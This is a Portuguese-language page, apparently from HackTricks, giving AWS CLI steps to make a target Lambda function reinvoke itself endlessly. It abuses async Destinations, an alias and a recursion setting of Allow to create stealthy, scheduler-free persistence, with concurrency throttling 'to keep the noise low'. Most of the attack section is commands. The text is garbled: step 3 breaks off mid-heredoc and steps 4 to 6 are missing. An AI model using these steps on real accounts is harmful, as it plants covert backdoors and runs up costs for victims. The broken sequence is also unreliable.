# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow {{#include ../../../../banners/hacktricks-training.md}} Abusar das Destinations assíncronas do Lambda juntamente com a configuração Recursion para fazer uma função se re-invocar continuamente sem um agendador externo (sem EventBridge, cron, etc.). Por padrão, o Lambda termina loops recursivos, mas definir a recursion config para Allow reativa-os. Destinations são entregues no lado do serviço para invocações assíncronas, então uma única invocação seed cria um canal stealthy, code-free de heartbeat/backdoor. Opcionalmente limite com reserved concurrency para manter o ruído baixo. Notas - Lambda não permite configurar a função para ser seu próprio destination diretamente. Use um function alias como destination e permita que a execution role invoque esse alias. - Permissões mínimas: capacidade de ler/atualizar o event invoke config e recursion config da função alvo, publicar uma versão e gerenciar um alias, e atualizar a policy da execution role da função para permitir lambda:InvokeFunction no alias. ## Requisitos - Region: us-east-1 - Vars: - REGION=us-east-1 - TARGET_FN= ## Passos 1) Obtenha o ARN da função e a configuração atual de recursion ``` FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text) aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true ``` 2) Publicar uma versão e criar/atualizar um alias (usado como destino próprio) ``` VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text) if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION else aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION fi ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text) ``` 3) Permitir que a role de execução da função invoque o alias (requerido por Lambda Destinations→Lambda) ``` # Set this to the execution role name used by the target function ROLE_NAME= cat > /tmp/invoke-self-policy.json </dev/null ``` 7) Observe invocações contínuas (exemplos) ``` # Recent logs (if the function logs each run) aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text # or check CloudWatch Metrics for Invocations increasing ``` 8) Limitação furtiva opcional ``` aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION ``` ## Limpeza Interrompa o loop e remova a persistence. ``` aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true aws lambda delete-function-concurrency --function-name "$TARGET_FN" --region $REGION || true # Optional: delete alias and remove the inline policy when finished aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGION || true ROLE_NAME= aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true ``` ## Impacto - Uma única async invoke faz com que a Lambda re-invoque continuamente a si mesma sem um scheduler externo, permitindo persistência/heartbeat furtiva. Reserved concurrency pode limitar o ruído a uma única warm execution. {{#include ../../../../banners/hacktricks-training.md}}